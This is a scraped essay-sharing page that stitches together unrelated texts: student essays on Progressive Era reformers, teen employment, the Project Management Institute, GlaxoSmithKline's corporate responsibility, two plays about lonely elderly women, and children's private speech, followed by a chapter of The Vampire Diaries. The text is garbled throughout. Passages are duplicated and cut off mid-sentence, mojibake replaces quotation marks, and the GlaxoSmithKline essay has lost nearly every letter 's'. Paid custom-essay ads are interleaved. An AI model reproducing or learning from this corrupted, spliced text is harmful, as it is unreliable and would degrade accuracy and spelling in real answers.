citizens. This would require government action to regulate business, improve public health and safety and make sure that every citizen had the chance to succeed and to be happy. Today there are also many reform groups. Just like the progressives of the early twentieth century, modern reformers are trying to change things for the better. One modern reformer is Ralph Nader. Nader is a leader in the consumer-protection movement. He organized investigative teams of young lawyers, consumer specialists, and students, popularly called Naders Raiders, to conduct surveys of numerous companies, federal agencies, and the U.S. Congress. Nader is a controversial man; his investigations have at times been criticized as biased against big business and government. Cesar Chavez was another modern reformer. The issues that he dealt with included: Women Farmworkers, Farmworker Health Issues, and Migrant Labor. Many issues that progressives of the early 1900s dealt with are the core of many of todays issues, however there are still some reforms that are different than those of a hundred years ago. American reform movements have generally been started as a rebellion against the control of big businesses and corrupt government. The poor conditions of schools and the entire education system at the turn of the twentieth century were a major cause for reform. That reform movement has influenced the entire education system and has made it better and more suitable for students. Civil rights for African-Americans and women was just beginning to become an issue in the late 19th century. Many progressivists spoke out for suffrage for women and equal rights for black people. Today, civil rights for minorities is still a big cause for reform. There are many different oraganizations whose goal is to reform the way society, the government and businesses treat any type of minority, including Hispanics, homosexuals and Native Americans. However civil rights is just one of the many causes of modern reform groups. Others include reform of huge companies and monoplolies, welfare programs, education systems and many, many other issues. A reform movement is a shout against people, businesses, governments or ideas that are morally corrupt. .uc00cd72f1c139b84c3e4f74dbafe7cf5 , .uc00cd72f1c139b84c3e4f74dbafe7cf5 .postImageUrl , .uc00cd72f1c139b84c3e4f74dbafe7cf5 .centered-text-area { min-height: 80px; position: relative; } .uc00cd72f1c139b84c3e4f74dbafe7cf5 , .uc00cd72f1c139b84c3e4f74dbafe7cf5:hover , .uc00cd72f1c139b84c3e4f74dbafe7cf5:visited , .uc00cd72f1c139b84c3e4f74dbafe7cf5:active { border:0!important; } .uc00cd72f1c139b84c3e4f74dbafe7cf5 .clearfix:after { content: ""; display: table; clear: both; } .uc00cd72f1c139b84c3e4f74dbafe7cf5 { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #95A5A6; } .uc00cd72f1c139b84c3e4f74dbafe7cf5:active , .uc00cd72f1c139b84c3e4f74dbafe7cf5:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #2C3E50; } .uc00cd72f1c139b84c3e4f74dbafe7cf5 .centered-text-area { width: 100%; position: relative ; } .uc00cd72f1c139b84c3e4f74dbafe7cf5 .ctaText { border-bottom: 0 solid #fff; color: #2980B9; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .uc00cd72f1c139b84c3e4f74dbafe7cf5 .postTitle { color: #FFFFFF; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .uc00cd72f1c139b84c3e4f74dbafe7cf5 .ctaButton { background-color: #7F8C8D!important; color: #2980B9; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://artscolumbia.org/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .uc00cd72f1c139b84c3e4f74dbafe7cf5:hover .ctaButton { background-color: #34495E!important; } .uc00cd72f1c139b84c3e4f74dbafe7cf5 .centered-text { display: table; height: 80px; padding-left : 18px; top: 0; } .uc00cd72f1c139b84c3e4f74dbafe7cf5 .uc00cd72f1c139b84c3e4f74dbafe7cf5-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .uc00cd72f1c139b84c3e4f74dbafe7cf5:after { content: ""; display: block; clear: both; } READ: Crucible Thoughts Essay Not all reform movements are successful in making an actual change, however even if a significant change isnt made their message is still shared with the public. Reform group leaders are usually involved in the government and have a strong charisma, which helps them convey their message. Jesse Louis Jackson is one of Americas strongest political figures. Over the past three decades he has played a major role in just about every movement for empowerment, peace, civil rights, gender equality, and economic and social justice. Reverend Jackson has been called the ;conscience of the nation; and ;the great unifier,; challenging America to establish just and humane priorities, and bringing people together on . The Progressive Era Essay Example For Students The Progressive Era Essay Word Count: 2763 was a period that showed the goals and contradictions found in American society in the late nineteenth and early twentieth century. Theodore Roosevelt summed up the Progressive/Reform feeling in his Square Deal speech that it was all about morals, not economics. His goal was the moral regeneration of the business world. He preached that it was wrong for some people to get ahead in business and politics by tricks and schemes, while others were cheated out of the opportunity. This was the kind of talk that millions of Americans from all areas of society could understand and respond to. We will write a custom essay on The Progressive Era specifically for you for only $16.38 $13.9/page Order now Roosevelt simply acted in the interests of the common working man, fixing things that they found unjust. For years, the poor and immigrants were unhappy with treatment from their big-business employers. Their long working hours and exploitation of children were, among other things, exposed by the Muckrakers. The Muckrakers were journalists who exposed corruption in business and politics and made many of their readers angry. These new reformers took over the old Populist idea that the government should work for the publics economic well being. Reform groups near the turn of the century were interested in the moral changes of the way the government and businesses were run. They wanted the government to be more open and listen to the people. Also, they wanted the government to put more effort into protecting the well being of all citizens. This would require government action to regulate business, improve public health and safety and make sure that every citizen had the chance to succeed and to be happy. Today there are also many reform groups. Just like the progressives of the early twentieth century, modern reformers are trying to change things for the better. One modern reformer is Ralph Nader. Nader is a leader in the consumer-protection movement. He organized investigative teams of young lawyers, consumer specialists, and students, popularly called Naders Raiders, to conduct surveys of numerous companies, federal agencies, and the U.S. Congress. Nader is a controversial man; his investigations have at times been criticized as biased against big business and government. Cesar Chavez was another modern reformer. The issues that he dealt with included: Women Farmworkers, Farmworker Health Issues, and Migrant Labor. Many issues that progressives of the early 1900s dealt with are the core of many of todays issues, however there are still some reforms that are different than those of a hundred years ago. American reform movements have generally been started as a rebellion against the control of big businesses and corrupt government. The poor conditions of schools and the entire education system at the turn of the twentieth century were a major cause for reform. That reform movement has influenced the entire education system and has made it better and more suitable for students. Civil rights for African-Americans and women was just beginning to become an issue in the late 19th century. Many progressivists spoke out for suffrage for women and equal rights for black people. Today, civil rights for minorities is still a big cause for reform. There are many different oraganizations whose goal is to reform the way society, the government and businesses treat any type of minority, including Hispanics, homosexuals and Native Americans. However civil rights is just one of the many causes of modern reform groups. Others include reform of huge companies and monoplolies, welfare programs, education systems and many, many other issues. A reform movement is a shout against people, businesses, governments or ideas that are morally corrupt. Not all reform movements are successful in making an actual change, however even if a significant change isnt made their message is still shared with the public. Reform group leaders are usually involved in the government and have a strong charisma, which helps them convey their message. Jesse Louis Jackson is one of Americas strongest political figures. Over the past three decades he has played a major role in just about every movement for empowerment, peace, civil rights, gender equality, and economic and social justice. Reverend Jackson has been called the ;conscience of the nation; and ;the great unifier,; challenging America to establish just and humane priorities, and bringing people together on . The Progressive Era Essay Example For Students The Progressive Era Essay What do Lincoln Steffens, Ida M. Tarbell, Upton Sinclair, Alice Paul and Samuel Hopkins Adams all have in common? All five contributed to exposing the truth behind The Progressive Era Essays corrupt politics and social injustice. They were an elite group known by society as muckrakers. Journalists who in the twentieth century dared to challenge the evils of business, life and government and unearth them to the middle class. Unafraid of these powers their articles appeared in many reform newspapers and magazines, especially McClures. Together and solo they attacked corporate abuses, city government, working conditions and many other heated issues. Each specializing and taking interest in his or her unaccompanied battle. For instance, Ida M. Tarbell, a writer and editor of a handful of publications took it upon herself to tackle the Standard Oil Company. She described their methods of eliminating other competitive businesses as cutthroat. Publishing two volumes on her nemesis history in 1904, examining the corporations dominating trusts and intriguing strategies. We will write a custom essay on The Progressive Era specifically for you for only $16.38 $13.9/page Order now Lincoln Steffens, also a writer, was responsible for the ingenious and very famous articles Shame of the Cities (1904), The Struggle for Self-Government (1906) and Upbuilders (1909). Steffens pieces were instantly successes and helped gain support for reform. Both journalist and author, Samuel Hopkins Adams, preached on the hidden secrets behind the scrupulous patent-medicine industry. Fearless, he also confronted President Warren G. Harding and the sins of his leadership, in his 1926 novel Revelry. In the twentieth century it was rare for a common middle-class society member to stand up for what they believed. The people you have just read about were an influential few. Not only did they protest for themselves, but for all hardworking, trusting, right deserving Americans. They contributed to reforming a time of strict faiths and powerful commanders, never looking back. Bibliography: .

Teenagers Who Work While in High School Essay Example

Teenagers Who Work While in High School Essay Example Teenagers Who Work While in High School Essay Teenagers Who Work While in High School Essay Essay Topic: College application High School Ever wonder why the most mature and responsible teenagers have jobs but your playful teen, who won’t take the blame for anything does not or can’t keep one. Many high school students have jobs. Jobs teach responsibility and tend to help teenagers mature over time with this added responsibility. When some teenagers work at their first job they tend to start out playful and don’t really care much. But when these teens work they get a pretty good lesson about ethics and etiquette so if they are willing to learn instead of quitting they will turn out better than when they first started. Many jobs tend to teach lots of responsibility because a lot of things can fall into someone’s job description. Working while in High school is great because it stops teens from messing up their lives by giving them less time to do it. Working forces teens to get more sleep because they need the energy to go to school and to work afterwards. Now it’s easy to figure out that students who get more sleep perform better in school on work and are more alert during the day. And it can be proven just ask the scientist’s who performed the detailed observation. I mean it’s all over the place. Try getting on the internet and searching the topic, I guarantee that you will get a lot of hits and try this site too (www. sleepeducation. com/Topic. aspx? id=19 ). So the way I see it is if your teen’s working improves his or her grades then why not let them. When teenagers work it keeps them out of quite a bit of trouble when they consider the fact that the trouble could cost them their paychecks. Now tell me do you think that if your teens knew that they could lose their paying jobs because doing stupid things such as joining gangs, drinking alcohol and abusing substances that they would not do it? I know I wouldnt. The way everybody should see it is like this, why spend hard earned money on something that could take that money away and get you into lots of trouble. And consider the fact that doing such things might deplete what money you do make. Of course I’m not just all for working while in high school for some very specific reasons. The first is that if a student works to hard then they will always feel tired and restless which will help them none. Unless the employer is willing to work with the student then that usually outlaws after school activities which happen to look good on college applications. Sports are what get some people who can not financially support themselves through college. So with that said what do you think? Would you get a job if you were in high school I know I would. I think that teenagers getting a job while in school will in the long run turn out to be a good move. Do you agree?

Project Management Theory Essay Example | Topics and Well Written Essays - 1500 words

Project Management Theory - Essay Example People that studied specific professions such as law, accounting, medical would not fit the profile of union member and there weren’t any unions for these types of workers. In order to meet the social and professional needs of this segment of the workforce professional associations were created to serve them. The project management profession is no exception. The Project Management Institute (PMI) is the organization that serves project managers across the world. The Project Management Institute was created in 1969. The organization has taken been very innovative and its overall reach and has been able to effectively expose the profession worldwide. The Institute has a membership of over 200,000 people from over 125 different countries (Pmi, 2007). Project management is a profession that attracts people from different specialization since within virtually every industry there are always projects that need guidance for successful completion. The PMI realized the needs of professionals from different industries and their assistance is guided towards helping profession in the financial services, aerospace, automobile, pharmaceutical, healthcare, construction, engineering, information technology, business management among many others. The institution has done a great job creating professional standards, conducting research and promoting the profession through certifications, networking and community involvement opportunities (Pmi, 2007). The project management institute has accomplished great social initiatives throughout the community including outreach programs in developing nation such as Brazil. In Sao Paolo, Brazil the local PMI chapter developed a pilot program which offered project management classes to teenagers from low income families. The classes were designed to expose students to the basic principles of project management and to teach them how these principles can be applied to improve their everyday

Corporate ocial Reponibility Essay Example | Topics and Well Written Essays - 2750 words

Corporate ocial Reponibility - Essay Example The buine of Glaxo Laboratorie Ltd expanded greatly with the new market created by the founding of the National Health ervice (NH). In January 2001 Glaxo Wellcome plc and mithKline Beecham plc officially merged to become GlaxomithKline plc. The vault webite give quite a good up-to-date decription of the company: "Cobbled together from four izable and formerly independent pharmaceutical companie, GlaxomithKline i one of the giant of the indutry. In 2003, the company' revenue totaled $38 billion -- good for a profit of nearly $11 billion. In addition to precription medication, Glaxo alo manufacture vaccine, over-the-counter (OTC) drug, oral care product and nutrition drink. In all, the company market more than 1,200 different brand which are old in 130 countrie worldwide. Thi comprehenive product line can be credited to Glaxo' maive $4 billion annual reearch and development budget, a well a to it 40,000 trong ale force -- the larget in the indutry -- that keep thoe product moving out of the warehoue and into the market. Glaxo' annual pharmaceutical ale make up approximately 7 percent of the worldwide market" (www.vault.com). At an international level, intellectual property i protected through the World Trade Organiation' (WTO) Trade Related Apect of Intellectual Property Right (TRIP) Agreement. GK argue that patent and other intellectual property right play a vital role in encouraging the innovation and needed to develop new treatment for many of the mot eriou dieae. "We invet coniderable time and money to develop each new pharmaceutical product - an average of $800m per product. If a new product could immediately be copied and old by other we would not be able to continue to fund new reearch. Thi would dicourage innovation and limit reearch into newer and better medicine and vaccine" (www.gk.com). A well, although the organiation acknowledge the fact that the TRIP agreement limit acce to eential medicine, uch a treatment for AID, it doe not ee them a the key barrier to acce to thee medicine. It argue that countrie hould be improving infratructure and increaing public invetment in health care. GlaxomithKline argue that it policy require that all marketing and promotional activitie are baed on valid cientific evidence, and comply with applicable law and regulation. It alo comply with relevant indutry code of practice, uch a the International Federation of Pharmaceutical Manufacturer Aociation' (IFPMA) Code of Pharmaceutical Marketing Practice and the PhRMA Code on Interaction with Healthcare Profeional. Training i provided for all employee whoe poition require an undertanding of our marketing code, particularly ale repreentative(www.gk.com). GlaxomithKline recognie the importance of preerving the environment and protecting the health and afety of people who work for the company. It ha a comprehenive et of environmental, health and afety programme that provide tructure for our approach. According to GK thee are baed on tandard that apply, without exception, to all of it ite around the world. "Environmental

A Cream Cracker Essay Example for Free

A Cream Cracker Essay Despite these similarities and minor differences one of the major differences between the two plays is that mum has an accident and as a result from that dies later. In George mum has an accident and falls down the stairs. This moment is very symbolic. After the bird rein acts the sound of Davids mum falling down the stairs, David becomes greatly dismayed as he realises his mother was all alone, and left to die for three days. At this point Judy tries to shut out the bird, and in doing so the memory of his mother by covering the cage in a cloth. This shows Judy as being very controlling over David which is reinforced when she says dont be silly, darling. You were wonderful with her and that she simply couldnt have his mother stay in a house with them, which shows that that was taken into consideration but denied by Judy. In A Cream Cracker Under the Settee Doris actually chooses to die and the play leads up to this choice. When Doris chooses to die this moment is also very symbolic. Are you all right? No. Im all right. When the policeman came along she wanted to ask for help but decided in the end that she would rather die and have her time than go to Stafford House. Stafford House is greatly regarded by Doris as a place where You go daft there, theres nowhere else for you to go but daft. Throughout the play she has made the impression that she never wants to go to Stafford House and at the end we find out she would rather die. As well as the similarities in the plot the two women are very similar. Both characters are old, widowed women who require the need of visitors. Both women are of working class. The dialect of the characters reinforces this, Doriss accent is that of a Northerner and reflects Alan Bennett as he was a Northerner himself and uses it in his characters. The language is informal and colloquial: I never saw no list or Thems her leaves, she also swears mildly oh hell, the flaming buffet when recounting the circumstances of her accident, but later uses the even less offensive Oh stink. She speaks very direct. At the end her thoughts wander more and more to the past making it seem more like a stream of consciousness. However, in George the dialogue is by David, Judy and George. Therefore, we can only assume that mum spoke like George because of his characterisation. If this is the case then we can come to conclusions that mum was of working class because of the dialect and dialogue of George. Georges voice is that of an old woman, plaintively complaining about loneliness, poverty and coldness. The language is very colloquial and informal, as in A Cream Cracker Under the Settee. However, there are key differences in these women as in A Cream Cracker Under the Settee the focus of the play is on Doris as she reveals herself in monologue whereas in George the focus of the play seems to be more on the relationship between David and his mum. The other differences between the women are to do with the impression we get. We know more about Doris than we do about Mum but from the information and description through Davids dialogue we understand Doris to be more independent and dominant than Mum. We understand that Doris is independent because from the beginning of the play she wants to the dusting herself and does not believe that her home help are doing there job. Her attitude towards Zulema shows us that she is quite stubborn and just because Zulema said she had dusted everywhere Doris immediately looks around to try and find a patch that she hasnt dusted. At first we may question Zulemas abilities but we soon realise that she wouldnt have time to clean everywhere as she has other peoples houses to clean and cannot spend too much time on each. This explains why later on when Doris says, Zulema wont touch them. Says if I want leaves swept Ive to contact the Parks Department. This may seem like a small and not a time consuming job but if Zulema was to sweep Doris leaves then everybody who she visits might ask for their leaves swept and this would make Zulema behind schedule and might eventually lose her job. In both plays there is an interesting use of shifting perspective for the audience. David and Judy present Davids mother and her situation in one way and then we are given a different perspective on the situation by George. We understand this because David and Judy are trying to fool themselves to believe that they did all they could to help his mother and that he had been wonderful with her. However, from what we understand from George is that she was all alone and when she was cold there was no one there to help her with the heating. There is also an interesting shift of perspective in A Cream Cracker Under the Settee. Although, Doris isnt trying to fool herself in the same way, we also get a sense of a second story or different version of events as she comments on other characters and her relationship with them for example when she talks about Wilfred. When Doris is talking about when she lost the baby she regards Wilfred as someone who seemed as if he didnt really care and didnt want a child in the first place. However, we realise that he probably did want the baby and only suggested alternatives, he started talking about getting a dog, to try and make her happier. This could be why Doris obsession with cleaning may have started because she would have had something to occupy her time with. Her obsession may have started here because when the midwife called Doris stillborn son dirty Doris says, He wasnt dirty, little thing; she disagrees and would have been traumatised by the ordeal of losing her baby. One of the most interesting similarities between the plays is the way they use visual symbolism. In George there are a number of symbolic moments during the play. Two of the most symbolic moments are when Judy covers up the cage and when David rips the cover back off. When Judy covers up the cage it symbolises when David never visited his mum and it seemed as if he was covering her up and also because at the beginning they seemed to fool themselves into believing that they did all they could. Therefore, they were covering up the real reason why his mother died. When he rips the sheet off it suggests that he wants to try and make things right because David doesnt want to cover George up as he did to his mum. It almost seems as if he wants his mum back so he can make it right to her. In A Cream Cracker Under the Settee there are also many symbolic moments. One of which is when Doris cracks the photograph of her and Wilfred. Cracked the photo. Were cracked, Wilfred. This is symbolic because it has fallen from the wall as a result of Doris endless campaign against dust, and the glass has cracked. This represents the destructive nature of Doris cleaning mania, the loss of Wilfred and particularly, with Doris choice to die at the end, the end of marriage both in Doris memory and on life. The fact that she holds on to the picture throughout the monologue may also suggest she is unwilling to let go of the past. One of the major differences arises from the medium each play was written for. George was written to be performed on stage as a stage play. It is non-realistic and bizarre because if it was written for a television programme or something more realistic there would not be a mynah bird talking. Also, because on a stage of the living room the bird would be constantly in view so the audience could not forget about it or ignore it as David and Judy ignored his mother. A Cream Cracker Under the Settee was written for a television drama especially for the actress Thora Hird. The play is more naturalistic and uses convention just as much but it is more subtle and therefore, not as obvious as it is in George. The close-ups enable the viewers to recognise the facial expressions and feel what Doris feels. Although both plays are hard-hitting and involve a lot of impact at the end I think that George has more impact on me because it is revealed more slowly and is seen through the eyes of a mynah bird which makes it more surreal and the moment when David is arguing with George sets the play up for a visual and clear ending of Davids mum lying at the bottom of the stairs on the floor for three days. I think that this play has more impact because it isnt just about mum and the isolation she was in but also the relationship she had with her son and the fact that he neglected her and her needs. Although I find George has more impact people may disagree because it is a shock when we realise that Doris has chosen to die. It is a very tense and shocking moment.

Why Do Children Talk To Themselves? :: Psychology Psychological Papers

Why Do Children Talk To Themselves? Whether you are a parent, teacher, child care giver, or a child observer you may have noticed that many children talk to themselves. Laura Berk reports that, â€Å"private speech can account for 20-60 percent of the remarks a child younger than 10 years makes† (78). Why do children do this? Does it benefit the child as Vygotsky would say, or is it just that the child is making egocentric remarks that play no positive role in normal cognitive development as Piaget would claim? I am going to be looking at the differences between Vygotsky’s and Piaget’s points of view. Then, I will look at Laura Berk’s findings in her article, â€Å"Why Children Talk to Themselves.† I will also talk about other findings concerning this topic. Jean Piaget and Lev Vygotsky were developmental psychologists interested in the origins and processes of cognitive development. These two psychologists disagreed sharply on the role that private speech played in one’s cognitive development. Vygotsky called this private speech while Piaget called it egocentric speech. Piaget observed the activities of three to eight year old kindergarten children, and discovered such uses of speech as verbal repetitions of another individual, monologues during an activity, and non-reciprocal remarks in collective settings. In these instances their speech was not directed towards other individuals. In Piaget’s mind these patterns of speech showed evidence of egocentrism, a sign of cognitive immaturity, and an inability to share the perspective of another individual. However, he argued, as the children grow older they socialize increasingly more with others, and their speech becomes communicative. Their speech moves away from being self- to other-oriented, a sign that they are able to adopt the perspectives of others. A child overcomes egocentrism by beginning to think critically and logically, causing egocentric speech to fade away. Vygotsky believes that a child’s cognitive development originates in socialization activities, and then goes through a process of increasing individuation. He argued that self-directed speech did not show any cognitive immaturity, but did show some form of development. He claims that private speech represents a functional differentiation in the speech of a child, or that a child begins to differentiate between speech that is directed towards the others and speech that is self-directed.

The Vampire Diaries: The Fury Chapter Four

Something yanked Elena out of the tree and, yowling a protest, she fell and landed on her feet like a cat. Her knees hit the ground a second later and got bruised. She reared back, fingers hooked into claws to attack whoever had done it. Damon slapped her hand away. â€Å"Why did you grab me?† she demanded. â€Å"Why didn't you stay where I put you?† he snapped. They glared at each other, equally furious. Then Elena was distracted. The shrieking was still going on upstairs, augmented now by rattling and banging at the window. Damon nudged her against the house, where they couldn't be seen from above. â€Å"Let's get away from this noise,† he said fastidiously, looking up. Without waiting for a response, he caught her arm. Elena resisted. â€Å"I have to go in there!† â€Å"You can't.† He gave her a wolfish smile. â€Å"I mean that literally. You can't go in that house. You haven't been invited.† Momentarily nonplussed, Elena let him tow her a few steps. Then she dug her heels in again. â€Å"But I need my diary!† â€Å"What?† â€Å"It's in the closet, under the floorboards. And I need it. I can't go to sleep without my diary.† Elena didn't know why she was making such a fuss, but it seemed important. Damon looked exasperated; then, his face cleared. â€Å"Here,† he said calmly, eyes glinting. He withdrew something from his jacket. â€Å"Take it.† Elena eyed his offering doubtfully. â€Å"It's your diary, isn't it?† â€Å"Yes, but it's my old one. I want my new one.† â€Å"This one will have to do, because this one is all you're getting. Come on before they wake up the whole neighborhood.† His voice had turned cold and commanding again. Elena considered the book he held. It was small, with a blue velvet cover and a brass lock. Not the newest edition perhaps, but it was familiar to her. She decided it was acceptable. She let Damon lead her out into the night. She didn't ask where they were going. She didn't much care. But she recognized the house on Magnolia Avenue; it was where Alaric Saltzman was staying. Elena licked her lips. â€Å"No,† Damon said shortly. â€Å"This one's not for biting. There's something fishy about him, but you should be safe enough in the house. I've slept here before. Up here.† He led her up a flight of stairs to an attic with one small window. It was crowded with stored objects: sleds, skis, a hammock. At the far end, an old mattress lay on the floor. â€Å"He won't even know you're here in the morning. Lie down.† Elena obeyed, assuming a position that seemed natural to her. She lay on her back, hands folded over the diary that she held to her breast. Damon dropped a piece of oilcloth over her, covering her bare feet. â€Å"Go to sleep, Elena,† he said. He bent over her, and for a moment she thought he was going to†¦ do something. Her thoughts were too muddled. But his night black eyes filled her vision. Then he pulled back, and she could breathe again. The gloom of the attic settled in on her. Her eyes drifted shut and she slept. She woke slowly, assembling information about where she was, piece by piece. Somebody's attic from the looks of it. What was she doing here? Rats or mice were scuffling somewhere among the piles of oilcloth-draped objects, but the sound didn't bother her. The faintest trace of pale light showed around the edges of the shuttered window. Elena pushed her makeshift blanket off and got up to investigate. It was definitely someone's attic, and not that of anyone she knew. She felt as if she had been sick for a long time and had just woken up from her illness. What day is it? she wondered. She could hear voices below her. Downstairs. Something told her to be careful and quiet. She felt afraid of making any kind of disturbance. She eased the attic door open without a sound and cautiously descended to the landing. Looking down, she could see a living room. She recognized it; she'd sat on that ottoman when Alaric Saltzman had given a party. She was in the Ramsey house. And Alaric Saltzman was down there; she could see the top of his sandy head. His voice puzzled her. After a moment she realized it was because he didn't sound fatuous or inane or any of the ways Alaric usually sounded in class. He wasn't spouting psycho-babble, either. He was speaking coolly and decisively to two other men. â€Å"She might be anywhere, even right under our noses. More likely outside town, though. Maybe in the woods.† â€Å"Remember, the first two victims were found near the woods,† said the other man. Is that Dr. Feinberg? Elena thought. What's he doing here? What am I doing here? â€Å"No, it's more than that,† Alaric was saying. The other men were listening to him with respect, even with deference. â€Å"The woods are tied up in this. They may have a hiding place out there, a lair where they can go to earth if they're discovered. If there is one, I'll find it.† â€Å"Are you sure?† said Dr. Feinberg. â€Å"I'm sure,† Alaric said briefly. â€Å"And that's where you think Elena is,† said the principal. â€Å"But will she stay there? Or will she come back into town?† â€Å"I don't know.† Alaric paced a few steps and picked up a book from the coffee table, running his thumbs over it absently. â€Å"One way to find out is to watch her friends. Bonnie McCullough and that dark-haired girl, Meredith. Chances are they'll be the first ones to see her. That's how it usually happens.† â€Å"And once we do track her down?† Dr. Feinberg asked. â€Å"Leave that to me,† Alaric said quietly and grimly. He shut the book and dropped it on the coffee table with a disturbingly conclusive sound. The principal glanced at his watch. â€Å"I'd better get moving; the service starts at ten o'clock. I presume you'll both be there?† He paused on his way to the door and looked back, his manner irresolute. â€Å"Alaric, I hope you can take care of this. When I called you in, things hadn't gone this far. Now I'm beginning to wonder-â€Å" â€Å"I can take care of it, Brian. I told you; leave it to me. Would you rather have Robert E. Lee in all the papers, not just as the scene of a tragedy but also as ‘The Haunted High School of Boone County'? A gathering place for ghouls? The school where the undead walk? Is that the kind of publicity you want?† Mr. Newcastle hesitated, chewing his lip, then nodded, still looking unhappy. â€Å"All right, Alaric. But make it quick and clean. I'll see you at the church.† He left and Dr. Fein-berg followed him. Alaric stood there for some time, apparently staring into space. At last he nodded once and went out the front door himself. Elena slowly trailed back up the stairs. Now what had all that been about? She felt confused, as if she were floating loose in time and space. She needed to know what day it was, why she was here, and why she felt so frightened. Why she felt so intensely that no one must see her or hear her or notice her at all. Looking around the attic, she saw nothing that would give her any help. Where she had been lying there were only the mattress and the oilcloth-and a little blue book. When she finished, she was weak with fear and horror. Bright spots danced and shimmered before her eyes. There was so much pain in these pages. So many schemes, so many secrets, so much need. It was the story of a girl who'd felt lost in her own hometown, in her own family. Who'd been looking for†¦ something, something she could never quite reach. But that wasn't what caused this throbbing panic in her chest that drained all the energy from her body. That wasn't why she felt as if she were falling even when she sat as still as she could get. What caused the panic was that she remembered. She remembered everything now. The bridge, the rushing water. The terror as the air left her lungs and there was nothing but liquid to breathe. The way it had hurt. And the final instant when it had stopped hurting, when everything had stopped. When everything†¦ stopped. Oh, Stefan, I was so frightened, she thought. And the same fear was inside her now. In the woods, how could she have behaved like that to Stefan? How could she have forgotten him, everything he meant to her? What had made her act that way? But she knew. At the center of her consciousness, she knew. Nobody got up and walked away from a drowning like that. Nobody got up and walked away alive. Slowly, she rose and went to look at the shuttered window. The darkened pane of glass acted as a mirror, throwing her reflection back at her. It was not the reflection she'd seen in her dream, where she had run down a hall of mirrors that seemed to have a life of their own. There was nothing sly or cruel about this face. Just the same, it was subtly different from what she was used to seeing. There was a pale glow to her skin and a telling hollowness about the eyes. Elena touched fingertips to her neck, on either side. This was where Stefan and Damon had each taken her blood. Had it really been enough times, and had she really taken enough of theirs in return? It must have been. And now, for the rest of her life, for the rest of her existence, she would have to feed as Stefan did. She would have to†¦ She sank to her knees, pressing her forehead against the bare wood of a wall. I can't, she thought. Oh, please, I can't; I can't. She had never been very religious. But from that deep place inside, her terror was welling up, and every particle of her being joined in the cry for aid. Oh, please, she thought. Oh, please, please, help me. She didn't ask for anything specific; she couldn't gather her thoughts that far. Only: Oh, please help me, oh please, please. Her face was still pale but eerily beautiful, like fine porcelain lit from within. Her eyes were still smudged with shadows. But there was a resolve in them. She had to find Stefan. If there was any help for her, he would know of it. And if there wasn't†¦ well, she needed him all the more. There was nowhere else she wanted to be except with him. She shut the door of the attic carefully behind her as she went out. Alaric Saltzman mustn't discover her hiding place. On the wall, she saw a calendar with the days up to December 4 crossed off. Four days since last Saturday night. She'd slept for four days. When she reached the front door, she cringed from the daylight outside. It hurt. Even though the sky was so overcast that rain or snow looked imminent, it hurt her eyes. She had to force herself to leave the safety of the house, and then she felt a gnawing paranoia about being out in the open. She slunk along beside fences, staying close to trees, ready to melt into the shadows. She felt like a shadow herself -or a ghost, in Honoria Fell's long white gown. She would frighten the wits out of anyone who saw her. But all her circumspection seemed to be wasted. There was no one on the streets to see her; the town might have been abandoned. She went by seemingly deserted houses, forsaken yards, closed stores. Presently she saw parked cars lining the street, but they were empty, too. And then she saw a shape against the sky that stopped her in her tracks. A steeple, white against the thick dark clouds. Elena's legs trembled as she made herself creep closer to the building. She'd known this church all her life; she'd seen the cross inscribed on that wall a thousand times. But now she edged toward it as if it were a caged animal that might break loose and bite her. She pressed one hand to the stone wall and slid it nearer and nearer to the carved symbol. When her outspread fingers touched the arm of the cross, her eyes filled and her throat ached. She let her hand glide along it until it gently covered the engraving. Then she leaned against the wall and let the tears come. I'm not evil, she thought. I did things I shouldn't have. I thought about myself too much; I never thanked Matt and Bonnie and Meredith for all they did for me. I should have played more with Margaret and been nicer to Aunt Judith. But I'm not evil. I'm not damned. When she could see again, she looked up at the building. Mr. Newcastle had said something about the church. Was it this one he meant? She avoided the front of the church and the main doorway. There was a side door that led to the choir loft, and she slipped up the stairs noiselessly and looked down from the gallery. She saw at once why the streets had been so empty. It seemed as if everyone in Fell's Church was here, every seat in every pew filled, and the back of the church packed solid with people standing. Staring at the front rows, Elena realized that she recognized every face; they were members of the senior class, and neighbors, and friends of Aunt Judith. Aunt Judith was there, too, wearing the black dress she'd worn to Elena's parents' funeral. Fell's Church was here, every seat in every pew filled, and the back of the church packed solid with people standing. Staring at the front rows, Elena realized that she recognized every face; they were members of the senior class, and neighbors, and friends of Aunt Judith. Aunt Judith was there, too, wearing the black dress she'd worn to Elena's parents' funeral. â€Å"†¦ share our remembrances of this very special girl,† he said, and he moved aside. Elena watched what happened after with the unearthly feeling that she had a loge seat at a play. She was not at all involved in the events down there on stage; she was only a spectator, but it was her life she was watching. Mr. Carson, Sue Carson's father, came up and talked about her. The Carsons had known her since she was born, and he talked about the days she and Sue had played in their front yard in the summer. He talked about the beautiful and accomplished young lady she had become. He got a frog in his throat and had to stop and take off his glasses. Sue Carson went up. She and Elena hadn't been close friends since elementary school, but they'd remained on good terms. Sue had been one of the few girls who'd stayed on Elena's side after Stefan had come under suspicion for Mr. Tanner's murder. But now Sue was crying as if she'd lost a sister. â€Å"A lot of people weren't nice to Elena after Halloween,† she said, wiping her eyes and going on. â€Å"And I know that hurt her. But Elena was strong. She never changed just to conform to what other people thought she should be. And I respected her for that, so much†¦Ã¢â‚¬  Sue's voice wobbled. â€Å"When I was up for Homecoming Queen, I wanted to be chosen, but I knew I wouldn't be and that was all right. Because if Robert E. Lee ever had a queen, it was Elena. And I think she always will be now, because that's how we'll all remember her. And I think that for years to come the girls who will go to our school might remember her and think about how she stuck by what she thought was right†¦Ã¢â‚¬  This time Sue couldn't steady her voice and the reverend helped her back to her seat. The girls in the senior class, even the ones that had been nastiest and most spiteful, were crying and holding hands. Girls Elena knew for a fact hated her were sniffling. Suddenly she was everybody's best friend. There were boys crying, too. Shocked, Elena huddled closer to the railing. She couldn't stop watching, even though it was the most horrible thing she had ever seen. 